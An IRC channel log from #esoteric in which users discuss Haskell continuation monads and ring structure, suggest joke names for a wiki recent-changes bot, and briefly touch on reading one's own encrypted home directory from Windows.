1331940809 275949 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover/x-3377486 QUIT :Quit: Leaving < 1331940843 888076 :zzo38!~zzo38@h24-207-49-17.dlt.dccnet.com PRIVMSG #esoteric :empty = ContT . const $ pure mempty; ContT x <|> ContT y = ContT $ \z -> liftA2 mappend (x z) (y z); < 1331940905 79243 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :"Ouch! Got SIGTERM, dying..eeze1) ..." --aptitude. < 1331940906 674423 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :that lambda is (liftA2 . liftA2) mappend x y. < 1331940941 330182 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :fizzie: I think you broke it. < 1331940943 642258 :zzo38!~zzo38@h24-207-49-17.dlt.dccnet.com PRIVMSG #esoteric :elliott: OK < 1331941226 868548 :zzo38!~zzo38@h24-207-49-17.dlt.dccnet.com PRIVMSG #esoteric :And I think that if (r) is a ring then so is (Cont r a) although it is not necessarily a computable ring. < 1331941275 381401 :oerjan!50cadfda@gateway/web/freenode/ip.80.202.223.218 PRIVMSG #esoteric :zzo38: i wonder if that's essentially the trick they use to emulate things like the list monad with continuations < 1331941322 381014 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :oerjan: "things like"? you can do any monad with Cont < 1331941343 985036 :oerjan!50cadfda@gateway/web/freenode/ip.80.202.223.218 PRIVMSG #esoteric :elliott: well yes, but the list monad might turn into something like that? < 1331941392 228093 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :ok < 1331941420 763480 :zzo38!~zzo38@h24-207-49-17.dlt.dccnet.com PRIVMSG #esoteric :oerjan: I don't know. < 1331941429 953986 :pikhq!~pikhq@174-22-155-89.clsp.qwest.net QUIT :Ping timeout: 252 seconds < 1331941434 224861 :pikhq_!~pikhq@71-219-233-184.clsp.qwest.net JOIN :#esoteric < 1331941639 835008 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :oerjan: what should the recent changes bot be called. < 1331941778 63773 :oerjan!50cadfda@gateway/web/freenode/ip.80.202.223.218 PRIVMSG #esoteric :this is a trap right? < 1331941833 639859 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :no. but i will elect you POTUS if you don't answer. < 1331941859 617097 :oerjan!50cadfda@gateway/web/freenode/ip.80.202.223.218 PRIVMSG #esoteric :that's going to be an impressive achievement. < 1331941880 343717 :oerjan!50cadfda@gateway/web/freenode/ip.80.202.223.218 PRIVMSG #esoteric :suggestion 1: newsham < 1331941901 696414 :oerjan!50cadfda@gateway/web/freenode/ip.80.202.223.218 PRIVMSG #esoteric :or was there a hyphen in that < 1331941905 176402 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :news-ham. < 1331941907 463747 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :newsham is a person. < 1331941912 137477 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :this is not a coincidence. < 1331941916 883548 :oerjan!50cadfda@gateway/web/freenode/ip.80.202.223.218 PRIVMSG #esoteric :i know < 1331941926 276950 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :speaking of which, i never did get around to writing cs-words. < 1331941950 138646 :oerjan!50cadfda@gateway/web/freenode/ip.80.202.223.218 PRIVMSG #esoteric :or c-swords, i take < 1331941990 907350 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :that sounds significantly more difficult. < 1331942003 140686 :oerjan!50cadfda@gateway/web/freenode/ip.80.202.223.218 PRIVMSG #esoteric :O KAY < 1331942091 111965 :zzo38!~zzo38@h24-207-49-17.dlt.dccnet.com PRIVMSG #esoteric :oerjan: I cannot see how you can use the things like I have specified, to emulate things like a list monad with continuations < 1331942103 581656 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :oerjan: i was looking for an actually meaningful name, btw :p < 1331942119 562912 :oerjan!50cadfda@gateway/web/freenode/ip.80.202.223.218 PRIVMSG #esoteric :elliott: suggestion 2: eso-ham < 1331942179 120205 :oerjan!50cadfda@gateway/web/freenode/ip.80.202.223.218 PRIVMSG #esoteric :zzo38: ok < 1331942191 755470 :Sgeo!~sgeo@ool-ad034d00.dyn.optonline.net PRIVMSG #esoteric :How hard would it be to decrypt my encrypted ~ stuff on Windows? < 1331942279 9459 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :impossible. well... < 1331942285 884178 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :you could attach the device to a VM I suppose.